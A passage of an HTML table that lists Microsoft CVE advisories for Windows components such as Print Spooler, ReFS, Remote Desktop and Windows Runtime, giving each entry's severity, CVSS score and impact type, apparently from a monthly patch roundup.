  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
